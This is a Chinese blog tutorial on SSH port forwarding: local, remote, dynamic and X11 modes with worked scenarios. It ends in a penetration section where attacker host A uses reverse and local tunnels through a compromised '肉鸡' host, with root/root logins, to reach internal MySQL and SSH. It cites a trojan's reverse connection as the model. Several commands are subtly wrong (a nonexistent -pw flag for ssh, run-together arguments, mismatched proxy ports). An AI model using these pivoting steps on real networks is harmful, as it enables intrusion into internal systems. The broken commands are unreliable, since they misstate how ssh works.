首页 > 其他分享 > SSH端口转发

SSH端口转发

时间:2023-02-09 10:34:21浏览次数:47  
标签:主机 端口 123.123 SSH 转发 3306 ssh

前言 

SSH会自动加密和解密所有SSH客户端与服务端之间的网络数据。这一过程有时也被叫做“隧道” (tunneling),这是因为SSH为其他TCP链接提供了一个安全的通道来进行传输而得名。例如,Telnet,SMTP,LDAP这些TCP应用均能够从中得益,避免了用户名,密码以及隐私信息的明文传输。而与此同时,如果您工作环境中的防火墙限制了一些网络端口的使用,但是允许SSH的连接,那么也能够通过将 TCP 端口转发来使用 SSH 进行通讯。 

(一)概述 

SSH端口转发能够将其他TCP端口的网络数据通过SSH链接来转发,并且自动提供了相应的加密及解密服务。 

(二)功能 

1、加密SSH Client端至SSH Server端之间的通讯数据; 

2、突破防火墙的限制完成一些之前无法建立的TCP连接。 

(三)方式 

共有四种方式,分别为本地转发,远程转发,动态转发,X协议转发。 

  (I)本地端口转发 

SSH连接和应用的连接这两个连接的方向一致。 

ssh -L [<local host>:]<local port>:<remote host>:<remote port><SSH hostname> 

Localhost参数可省略,默认为0:0:0:0,但为了安全性考虑务必使用127.0.0.1作为本地监听端口。 

将本地机(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发是在localhost上监听一个端口,所有访问这个端口的数据都会通过ssh 隧道传输到远端的对应端口。 

如下: 

localhost: ssh -L 7001:localhost:7070 [email protected] 

登陆前本地主机端口监听状态: ​

 SSH端口转发_端口转发

登陆后本地主机端口监听状态: 

 SSH端口转发_端口转发_02

 登陆后远程主机不会监听端口。 

小结:本地端口转发的时候,本地的ssh在监听7001端口 。

   (Ⅱ)远程端口转发 

SSH连接和应用的连接这两个连接的方向相反 

ssh -R [<local host>:]<local port>:<remote host>:<remote port><SSH hostname> 

Localhost参数可省略,默认为0:0:0:0,为了安全性务必使用127.0.0.1作为本地监听端口。 

将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口;远程端口转发是在远程主机上监听一个端口,所有访问远程服务器的指定端口的数据都会通过ssh 隧道传输到本地的对应端口。 

如下: 

localhost:ssh-R 7001:localhost:7070 [email protected] 

登陆前本地主机端口监听状态: ​

 SSH端口转发_内网_03

 登陆后本地主机端口监听状态: 

 SSH端口转发_端口转发_04

 登陆后远程主机端口监听状态: 

 SSH端口转发_网络安全_05

 小结:使用远程端口转发时,本地主机的端口监听并没有发生变化,相反远程主机却开始监听我们指定的7001端口。 

   (Ⅲ)动态端口转发 

把远端ssh服务器当作了一个安全的代理服务器 

ssh -D [<local host>:]<local port><SSH hostname> 

Localhost参数可省略,默认为0:0:0:0,为了安全性务必使用127.0.0.1作为本地监听端口。 

建立一个动态的SOCKS4/5的代理通道,紧接着的是本地监听的端口号;动态端口转发是建立一个ssh加密的SOCKS4/5代理通道,任何支持SOCKS4/5协议的程序都可以使用这个加密的通道来进行代理访问,现在这种方法最常用的地方就是翻墙。 

如下: 

localhost:ssh-D 7070 [email protected] 

登陆前本地主机端口监听状态: 

 SSH端口转发_端口转发_06

 登陆后本地主机端口监听状态: 

 SSH端口转发_网络安全_07

 小结:使用动态端口转发时,本地主机的ssh进程在监听指定的7070端口。 

   (Ⅳ)X协议转发 

把远端ssh服务器当作了一个安全的代理服务器。 

ssh -X  <SSH hostname> 

如,我们可能会经常会远程登录到 Linux/Unix/Solaris/HP 等机器上去做一些开发或者维护,也经常需要以GUI方式运行一些程序,比如要求图形化界面来安装 DB2/WebSphere 等等。这时候通常有两种选择来实现:VNC或者X窗口,让我们来看看后者。一个比较常见的场景是,我们的本地机器是Windows操作系统,这时可以选择开源的XMing来作为我们的XServer,而SSH Client则可以任意选择了,例如PuTTY,Cygwin均可以配置访问SSH的同时建立X转发。   

SSH端口转发除上述四个代表不同工作方式的参数外还有一些附属参数: 

-C:压缩数据传输 

-N:不执行脚本或命令,通常与-f连用 

-f:后台认证用户/密码,通常与-N连用,不用登陆到远程主机,如果通过其他程序控制隧道连接,应当避免将SSH客户端放到后台执行,也就是去掉-f参数。 

-g:在-L/-D/-R参数中,允许远程主机连接到建立的转发端口,如果不加这个参数,只允许本地主机建立连接。 ​

   (四)场景模拟 

场景一:将本机的80端口转发到174.139.9.66的8080端口。 

ssh-C –f –g –N –L 80:174.139.9.66:8080 [email protected] 

接着会提示输入master的密码,或使用-pw参数完成 

场景二:一次同时映射多个端口 

Ssh-L 8888:www.host.com:80 -L 110:mail.host.com:110 -L    25:mail.host.com:25 user@host 

同时把服务器(www.host.com)的80,110,25端口映射到本机的8888,110和25端口 

场景三:A内网主机能放问公网的123.123.123.123的22端口,但是不能访问公网234.234.234.234的21端口,但是这两台公网主机能互访。 

A主机:ssh -CNfg –L 2121:234.234.234.234:21 –pw abc123 [email protected] ;然后A主机:ftp://localhost:2121 

前提是获取123.123.123.123的22端口账号口令(普通和root口令均可以,区别是转发的端口问题) 

场景四:A内网主机能放问公网的123.123.123.123的22端口,但是公网B主机123.123.123.123不能访问内网的A主机。 

A主机:ssh -CNfg –R 2222:127.0.0.1:22 –pw abc123 [email protected];B主机:ssh 127.0.0.1 –p 2222 

前提是B主机开放22端口,账号口令(自建ssh服务器,或用肉鸡),灰鸽子木马用的也是反向链接,Destination (LAN_ip) <- |NAT| <- Source (home_ip) 

场景五:A内网主机只能访问公网的123.123.123.123,但是A如果想访问公网的很多资源。 

A主机:ssh -CNf –D 1080 –pw abc123 [email protected];A主机浏览器socks 5 proxy设置为localhost:8888,所有之前无法访问的网站现在都可以访问。 

场景六:A内网主机开了http、ftp、vnc(5901)、sshd、socks5(1080)、cvs(2401)等服务,无合法 ip 地址;外网主机B(123.123.123.123),开了sshd 服务,有合法 ip ;我们的目的是让 internet 上的任何主机能访问A上的各种服务。 

B主机:sshd服务端做点小小的设置:vi /etc/ssh/sshd.config加入 GatewayPorts yes,然后重启sshd服务:/etc /init.d/ssh restart 或 /etc/init.d/sshd restart或使用-g参数 

 A主机:ssh -CNf –R 21:127.0.0.1:21 –pw abc123 [email protected] 

公网其它主机:ftp://123.123.123.123:21 

场景七:A内网主机开了 http、ftp、vnc(5901)、sshd、socks5(1080)、cvs(2401)等服务,无合法 ip 地址;外网主机 B(123.123.123.123) 开了 sshd 服务,有合法 ip ;我们的目的是让 internet 上的任何主机能访问 A 上的各种服务。 

A主机:ssh -CN –R 1234:127.0.0.1:80 –pw abc123 [email protected] 

B主机:socat tcp-listen:80,reuseaddr,fork tcp:localhost:1234 

公网其它主机:http://123.123.123.123:80,此时就是访问内网主机的80端口 

场景八:PuTTY自带的plink.exe实现ssh代理 


 SSH端口转发_内网_08

 

 SSH端口转发_网络安全_09

 PLINK.EXE -C -N -D 127.0.0.1:7000 [email protected][:21314] 

ssh -CfNg -D 127.0.0.1:7000 [email protected]:21314 ​

(五)渗透情景模拟 

A为攻击主机,开启的ssh服务; 

B为web/应用/数据库服务器,开启22/80/3306端口; 

D为肉鸡,开启22端口; ​

情景一: 

 SSH端口转发_端口转发_10

 方法一:socks5代理 

A: ssh –D 8080 root@B_IP –pw root 

方法二:本地端口转发(B的3306端口) 

Assh –L 3306:B_IP:3306 –pwrootroot@B_IP 

方法三:远程端口转发 

Bssh –R 3306:127.0.0.1:3306 –pwrootroot@A_IP 

情景二: 

 SSH端口转发_内网_11

 

法一:socks5代理 

A:ssh -D 8080 root@A_IP –pw root 

B:ssh -R 8080:127.0.0.1:8080 –pw root root@A_IP 

法二:远程端口转发(将3306端口转发) 

Bssh –R 3306:127.0.0.1:3306 –pwrootroot@A_IP 

情景三: 

 SSH端口转发_网络安全_12

 

法一:socks5代理 

A:ssh -D 8080 root@A_IP -pw root 

B:ssh -R 8080:127.0.0.1:8080 –pw root root@A_IP 

法二:远程端口转发(将3306端口转发) 

B:ssh -R 3306:C_IP:3306 -pwrootroot@A_IP 

法三: 

B:ssh –L 1234:C_IP:3306 –pwrootroot@C_IP 

B:ssh –R 3306:127.0.0.1:1234 –pw root root@A_IP 

情景四: 

 SSH端口转发_内网_13

 

 SSH端口转发_端口转发_14

 22端口转发 

A:ssh –L 2222:B_IP:22 –pwrootroot@D_IP 

3306端口转发 

 SSH端口转发_网络安全_15

 

将C的3306端口转发出来 

D:ssh –L 3306:C_IP:3306 –pwrootroot@B_IP 

D:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP 

通过将TCP连接转发到SSH通道上以解决数据加密以及突破防火墙的种种限制。对一些已知端口号的应用,例如Telnet/LDAP/SMTP,我们可以使用本地端口转发或者远程端口转发来达到目的。动态端口转发则可以实现SOCKS代理从而加密以及突破防火墙对Web浏览的限制。当然,端口转发还有很多好用的工具供大家选择。 

 SSH端口转发_ssh_16


标签:主机,端口,123.123,SSH,转发,3306,ssh
From: https://blog.51cto.com/u_15945480/6045953

相关文章

  • centos 7 ssh 无密访问 多台设备
    假设有三台机器,IP如下:192.168.10.101、192.168.10.102、192.168.10.103需要配置3台虚拟机间可以任意通过ssh无密访问,具体如下:1、生成公钥和私钥ssh-keygen-trsa-t......
  • 1、Sh_批量检测端口号
    #!/bin/bash##********************************************************************#Author: zhuzikang#QQ: 985848343#Date: 2021-08-24#Fil......
  • 1、python_批量检测端口号
    #!/usr/bin/envpython#coding:utf-8#Author:zikangimportsocketlist_str='''172.31.7.1038080172.31.7.1046379172.31.7.1053306'''OK_list=[]Timeo......
  • golang实现dll恶意劫持转发
    原文:https://xz.aliyun.com/t/10143本文章将讲解如何使用Golang来实现恶意的dll劫持转发dll转发概述dll转发:攻击者使用恶意dll替换原始dll,重命名原始dll并通......
  • 71张图详解IP 地址、IP 路由、分片和重组、三层转发、ARP、ICMP
    目录数据如何传输到目的地?IP地址的基础知识IP地址的定义IP地址的组成IP地址的分类广播地址IP组播子网掩码CIDR与VLSM公网地址与私有地址IP路由路由条目类型路由汇......
  • SSH远程管理与访问控制
    理论:一、SSH远程管理1、SSH作用和特点1)SSH作用管理员远程管理服务器的一种方式2)SSH特点安全性强传输数据被加密适合通过互联网远程使用支持通过客户端或者命令远程管理服务......
  • Linux之ssh远程连接
    Linux之ssh远程连接一、下载远程连接工具XshellXshell是一种远程连接工具,可用来远程连接虚拟机。Xshell免费版下载地址输入名字和邮箱,可以在邮箱看到下载Xshell的链接......
  • SSH远程管理
    拓扑图:推荐步骤: 安装ssh服务器和客户端设置开机自动启动,配置身份验证的ssh,保证ssh服务器的安全性禁止为空密码登录访问,将ssh服务器端口改为2222,在ssh服务器端创建bob和to......
  • .NET Core SshClient + Npgsql 实现ssh隧道访问内网数据库
    privateconststringSSH_USER="root";//ssh账号privateconststringSSH_PASSWORD=".";//ssh密码,若使用密钥且没密码时填......
  • 在 Windows 下关闭135/139/445端口的方法
    一、关闭​​135端口​​第一步运行dcomcnfg,打开“组件服务”→“计算机”,在“我的电脑”上右键点击,选“属性”;然后点默认属性,把“在此计算机上启用分布式COM(E)”的勾去掉,接......